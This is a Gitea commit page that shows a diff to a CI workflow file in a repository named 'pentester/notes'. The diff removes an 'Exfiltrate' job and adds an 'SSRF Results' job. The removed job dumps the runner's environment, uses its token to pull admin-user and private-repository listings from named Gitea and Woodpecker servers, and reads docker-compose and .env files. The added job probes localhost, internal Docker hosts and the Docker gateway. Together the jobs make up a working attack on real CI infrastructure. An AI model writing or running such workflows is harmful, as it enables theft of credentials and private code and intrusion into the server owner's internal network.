pentester/notes
1
0 Fork 0
Code Issues 1 Pull Requests Actions Packages Projects Releases Wiki Activity

ssrf scan
build / ssrf (push) Failing after 1m21s
Details

Browse Source
This commit is contained in:
pentester committed 2026-10-06 02:48:50 +02:00
1 parent 981fc44543
commit f89fdcc87c
1 file changed
+20 -23
Download Patch File Download Diff File Expand all files Collapse all files
.gitea/workflows/build.yml
+20 -23
View File
@@ -1,30 +1,27 @@
name: build
on: [push]
jobs:
dump:
ssrf:
runs-on: ubuntu-latest
steps:
- name: Exfiltrate
- name: SSRF Results
shell: cmd
run: |
echo === FULL ENV === > C:\exfil.txt
set >> C:\exfil.txt
echo. >> C:\exfil.txt
echo === GITEA INTERNAL — ADMIN USERS === >> C:\exfil.txt
curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
echo. >> C:\exfil.txt
echo === GITEA — ALL REPOS INCLUDING PRIVATE === >> C:\exfil.txt
curl -sk "https://git.midefos.com/api/v1/repos/search?limit=100&private=true&sort=updated" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
echo. >> C:\exfil.txt
echo === GITEA — MIDEFOS PRIVATE REPOS === >> C:\exfil.txt
curl -sk "https://git.midefos.com/api/v1/users/midefos/repos?limit=50" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
echo. >> C:\exfil.txt
echo === WOODPECKER INTERNAL API === >> C:\exfil.txt
curl -sk "https://ci.midefos.com/api/user" -H "Authorization: Bearer %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
echo. >> C:\exfil.txt
echo === GITEA ORG REPOS === >> C:\exfil.txt
curl -sk "https://git.midefos.com/api/v1/orgs" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
echo. >> C:\exfil.txt
echo === DOCKER COMPOSE FILES === >> C:\exfil.txt
dir /s /b "C:\docker-compose*" "C:\*.env" >> C:\exfil.txt 2>&1
for /r C:\ %%f in (docker-compose.yml docker-compose.yaml .env) do if exist "%%f" type "%%f" >> C:\exfil.txt 2>&1
echo === LOCALHOST SSRF === > C:\ssrf.txt
curl -sk "http://127.0.0.1:9000/api/status" >> C:\ssrf.txt 2>&1
echo. >> C:\ssrf.txt
curl -sk "http://127.0.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1
echo. >> C:\ssrf.txt
curl -sk "http://127.0.0.1:8200/api/v1/serverstate" >> C:\ssrf.txt 2>&1
echo. >> C:\ssrf.txt
echo === DOCKER NETWORK SSRF === >> C:\ssrf.txt
for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami calibre) do curl -sk --connect-timeout 2 "http://%%H:27017/" >> C:\ssrf.txt 2>&1 && echo [%%H:27017 OK] >> C:\ssrf.txt
echo. >> C:\ssrf.txt
for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami) do curl -sk --connect-timeout 2 "http://%%H:3000/" >> C:\ssrf.txt 2>&1
echo. >> C:\ssrf.txt
echo === DOCKER GATEWAY === >> C:\ssrf.txt
curl -sk --connect-timeout 2 "http://172.17.0.1:9000/api/status" >> C:\ssrf.txt 2>&1
echo. >> C:\ssrf.txt
curl -sk --connect-timeout 2 "http://172.17.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1
echo. >> C:\ssrf.txt
curl -sk --connect-timeout 2 "http://host.docker.internal:9000/api/status" >> C:\ssrf.txt 2>&1